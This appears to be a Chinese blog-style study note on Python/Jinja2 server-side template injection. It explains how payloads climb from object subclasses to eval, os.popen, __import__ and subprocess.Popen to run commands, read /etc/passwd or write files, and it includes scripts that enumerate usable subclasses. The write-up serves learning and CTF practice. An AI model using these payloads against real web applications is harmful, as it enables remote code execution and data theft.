Python SSTI学习
前人之述备矣Python SSTI漏洞学习总结,这里只学习一下文中payload的原理。
背景知识
SSTI 攻击思路
- 选择一个类,如:
'',[],{} - 通过这个类找到object类,这是 Python 中所有类的基类:
__base__,__bases__,__mro__ - 通过object类获取所有子类:
__subclasses__() - 在子类列表中找到可以利用的类
- 直接调用类下面函数或使用该类空间下可用的其他模块的函数
Python 魔术方法
- init: 对象的初始化方法
- class: 返回对象所属的类
- module: 返回类所在的模块
- mro: 返回类的调用顺序,可以此找到其父类(用于找父类)
- base: 获取类的直接父类(用于找父类)
- bases: 获取父类的元组,按它们出现的先后排序(用于找父类)
- dict: 返回当前类的函数、属性、全局变量等
- subclasses: 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类)
- globals: 获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量)
- import: 用于导入模块,经常用于导入os模块
- builtins: 返回Python中的内置函数,如eval
Payload分析
在 Python 中,object 是所有类的基类。所有Python类,无论是内置的,还是用户定义的,都继承自object类。所以,大多数SSTI的Payload都会先获取到object类,在从object的子类中寻找可以利用的类。
# 获取子类
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()
需要注意的是object的子类列表的顺序可能会因 Python 环境、版本、已导入的模块等多种因素而有所不同。因此,SSTI的大多数题目都要从获取到子类列表开始。
在文中,作者给出了可以利用的类,以及这些类的利用方法:
# 可以利用的类
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']
# 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
# 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
# 利用subprocess.Popen类进行RCE的payload
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# 利用__import__导入os模块进行利用
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
# 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
{{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}
# 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
# 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
{{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
# 通用getshell,都是通过__builtins__调用eval进行代码执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# 读写文件,通过__builtins__调用open进行文件读写
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
下面对这些Payload依次进行分析
__builtins__的eval
__builtins__ 是 Python 中的一个内置模块,它存在于所有 Python 环境中。这个模块包含了很多基本的内置函数和类,例如len(), print(), int(), list(), dict() 等。在SSTI的RCE中,所要利用的就是其中的eval()函数。
观察上面的payload我们可以发现,利用__builtins__的eval()函数的格式为:__init__.__globals__['__builtins__'].eval(),这个payload 的意思是从一个子类__init__方法的__globals__属性中获取到__builtins__,再调用__builtins__的eval()。
因为__globals__包含了函数定义时的全局命名空间中的所有信息。,而__builtins__是默认导入的,所以可以用这样的方式获取到。下面看一个简单的例子:
# test.py
import math
flag = 'skkyblu3'
class A:
def __init__(self):
self.a = 1
def func(self):
pass
def display(d: dict): # 用来
for k, v in d.items():
print(f'{k}: {v}')
display(A.__init__.__globals__)
# 输出的结果如下
# __name__: __main__
# __doc__: None
# __package__: None
# __loader__: <_frozen_importlib_external.SourceFileLoader object at 0x104910c40>
# __spec__: None
# __annotations__: {}
# __builtins__: <module 'builtins' (built-in)>
# __file__: /Users/ea5ter/Documents/CTF/code/py/ssti/test/test.py
# __cached__: None
# math: <module 'math' from '/Users/ea5ter/.pyenv/versions/3.8.11/lib/python3.8/lib-dynload/math.cpython-38-darwin.so'>
# flag: skkyblu3
# A: <class '__main__.A'>
# display: <function display at 0x10495e160>
其中就有__builtins__这个模块,然后就可以像payload中那样使用eval执行代码:A.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")
既然__globals__输出的是全局命名空间中的所有信息,所以这里其他几个函数的__globals__属性也是可以一样的,对于这个代码下面的payload也可以达到相同的效果:
A.func.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") # A中的func函数
display.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") # display函数
另外还有一个有意思的点,因为A.func.__globals__['__builtins__']返回的是__builtins__模块,A.func.__globals__['__builtins__'].eval指向的就是这个模块下的方法,所以这种调用是没有问题的:

但是,如果在另一个文件中调用,A.func.__globals__['__builtins__']就不再是一个模块而是一个字典,对于一个字典要调用eval()函数,paylad就变成了A.func.__globals__['__builtins__']['eval']:
import test
print(type(test.display.__globals__['__builtins__']))
print(type(test.display.__globals__['__builtins__']['eval']))

造成这样的详细原因可能涉及到一些python的底层,也就不太深究了。总之,结论就是:文件是在被直接执行的环境中__builtins__通常被Python解释器设置为builtins模块;而它作为一个模块导入使用的时候,它的上下文环境发生改变,__builtins__会被设置为一个字典,这个字典包含了builtins模块的所有内容。

但是文章中的payload用.eval的的调用方式依然是有效的,也许和Jinja2的沙盒环境有关🤔

在知道这种payload的逻辑后,我们看一下object的子类中还有没有其他可以利用类:
import importlib
def check_class_builtins(class_full_names):
for class_full_name in class_full_names:
try:
module_name, class_name = class_full_name.rsplit('.', 1)
# 动态导入模块
module = importlib.import_module(module_name)
# 从模块获取类
cls = getattr(module, class_name)
init_globals = getattr(cls.__init__, '__globals__', None)
if init_globals is None:
# print(f"{class_full_name}.__init__ does not have __globals__.")
continue
builtins_type = type(init_globals.get('__builtins__', None))
print(f"{class_full_name}.__init__.__globals__['__builtins__'] is {builtins_type}.")
except Exception as e:
pass
# print(f"Error while processing {class_full_name}: {e}")
subclass_names = [f"{cls.__module__}.{cls.__name__}" for cls in object.__subclasses__()]
# print(subclass_names)
check_class_builtins(subclass_names)
可以看到除了warnings.catch_warnings还有不少可以像这样.__init__.__globals__['__builtins__']利用的类:
_frozen_importlib._ModuleLock.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib._DummyModuleLock.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib._ModuleLockManager.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib.ModuleSpec.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external.FileLoader.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external._NamespacePath.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external._NamespaceLoader.__init__.__globals__['__builtins__'] is <class 'dict'>.
_frozen_importlib_external.FileFinder.__init__.__globals__['__builtins__'] is <class 'dict'>.
zipimport.zipimporter.__init__.__globals__['__builtins__'] is <class 'dict'>.
zipimport._ZipImportResourceReader.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.IncrementalEncoder.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.IncrementalDecoder.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.StreamReaderWriter.__init__.__globals__['__builtins__'] is <class 'dict'>.
codecs.StreamRecoder.__init__.__globals__['__builtins__'] is <class 'dict'>.
os._wrap_close.__init__.__globals__['__builtins__'] is <class 'dict'>.
_sitebuiltins.Quitter.__init__.__globals__['__builtins__'] is <class 'dict'>.
_sitebuiltins._Printer.__init__.__globals__['__builtins__'] is <class 'dict'>.
types.DynamicClassAttribute.__init__.__globals__['__builtins__'] is <class 'dict'>.
types._GeneratorWrapper.__init__.__globals__['__builtins__'] is <class 'dict'>.
warnings.WarningMessage.__init__.__globals__['__builtins__'] is <class 'dict'>.
warnings.catch_warnings.__init__.__globals__['__builtins__'] is <class 'dict'>.
reprlib.Repr.__init__.__globals__['__builtins__'] is <class 'dict'>.
functools.partialmethod.__init__.__globals__['__builtins__'] is <class 'dict'>.
functools.singledispatchmethod.__init__.__globals__['__builtins__'] is <class 'dict'>.
functools.cached_property.__init__.__globals__['__builtins__'] is <class 'dict'>.
contextlib._GeneratorContextManagerBase.__init__.__globals__['__builtins__'] is <class 'dict'>.
contextlib._BaseExitStack.__init__.__globals__['__builtins__'] is <class 'dict'>.
test.A.__init__.__globals__['__builtins__'] is <class 'dict'>.
os.popen
os模块下的popen函数可用于执行系统命令。
os._wrap_close这个类是在os模块中的,所以像上面那样,在它的全局环境中找到Popen调用即可。
对应的Payload为:
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
__import__()
__import__ 是 Python 的一个内置函数,用于动态地导入模块。它提供了一种在运行时根据字符串形式的模块名导入模块的方式。
在上面的Payload中通过导入os模块执行popen。
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
整个格式也差不多,不过这里没说所用的这个类是什么。用脚本搜索一下__globals__中存在__import__的类,一共有四个_frozen_importlib._ModuleLock、_frozen_importlib._DummyModuleLock、_frozen_importlib._ModuleLockManager、_frozen_importlib.ModuleSpec:

这里还学到了个点,就是当你试图访问一个变量时,Python解释器会首先在当前的局部命名空间寻找,如果找不到,就会去全局命名空间寻找,如果还找不到,就会去内置命名空间寻找。这就是所谓的LEGB规则(Local -> Enclosed -> Global -> Built-in)。
所以上面那四个类它们是在全局命名空间中注册了__import__ 函数的。
不过既然__import__是一个内置函数,那我们也可以在__builtins__中找到。所以也可以像这样调用:
# A为任何一个全局命名空间中存在__builtins__模块的类
A.__globals__.__builtins__.__import__('os').popen('whoami').read()
subprocess.Popen
subprocess下的Popen类也可以用来执行命令,与之前方法有所区别的是Popen是一个类。
{{subprocess.Popen('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
subprocess.Popen('whoami', shell=True, stdout=-1)创建并启动了一个新的子进程来执行 'whoami' 命令。其中:
shell=True:这个参数允许我们通过shell来执行命令。stdout=-1:这个参数意味着子进程的标准输出被重定向到一个管道中。-1和subprocess.PIPE的效果是一样的,都是重定向到一个管道。communicate()方法是Popen对象的一个方法,它用于与子进程交互。无参数调用时,它会等待子进程完成,然后返回一个包含子进程stdout和stderr输出的元组。[0]是获取元组的第一个元素,即子进程的stdout输出。strip()用于移除字符串头尾的空格和换行符。
总结
剩余的Payload中说到了一个linecache类,但这个linecache在python中是一个模块,并不是object的子类,之后遇到再说吧。
贴一下在__globals__中找有用东西的代码:
import importlib
def check_class_useful(class_full_names, target):
for class_full_name in class_full_names:
try:
module_name, class_name = class_full_name.rsplit('.', 1)
# 动态导入模块
module = importlib.import_module(module_name)
# 从模块获取类
cls = getattr(module, class_name)
init_globals = getattr(cls.__init__, '__globals__', None)
if init_globals is None:
# print(f"{class_full_name}.__init__ does not have __globals__.")
continue
target_type = init_globals.get(target, None)
if target_type:
print(f"{class_full_name}.__init__.__globals__.{target} is {type(target_type)}.")
except Exception as e:
pass
# print(f"Error while processing {class_full_name}: {e}")
subclass_names = [f"{cls.__module__}.{cls.__name__}" for cls in object.__subclasses__()]
target = 'linecache'
check_class_useful(subclass_names, target)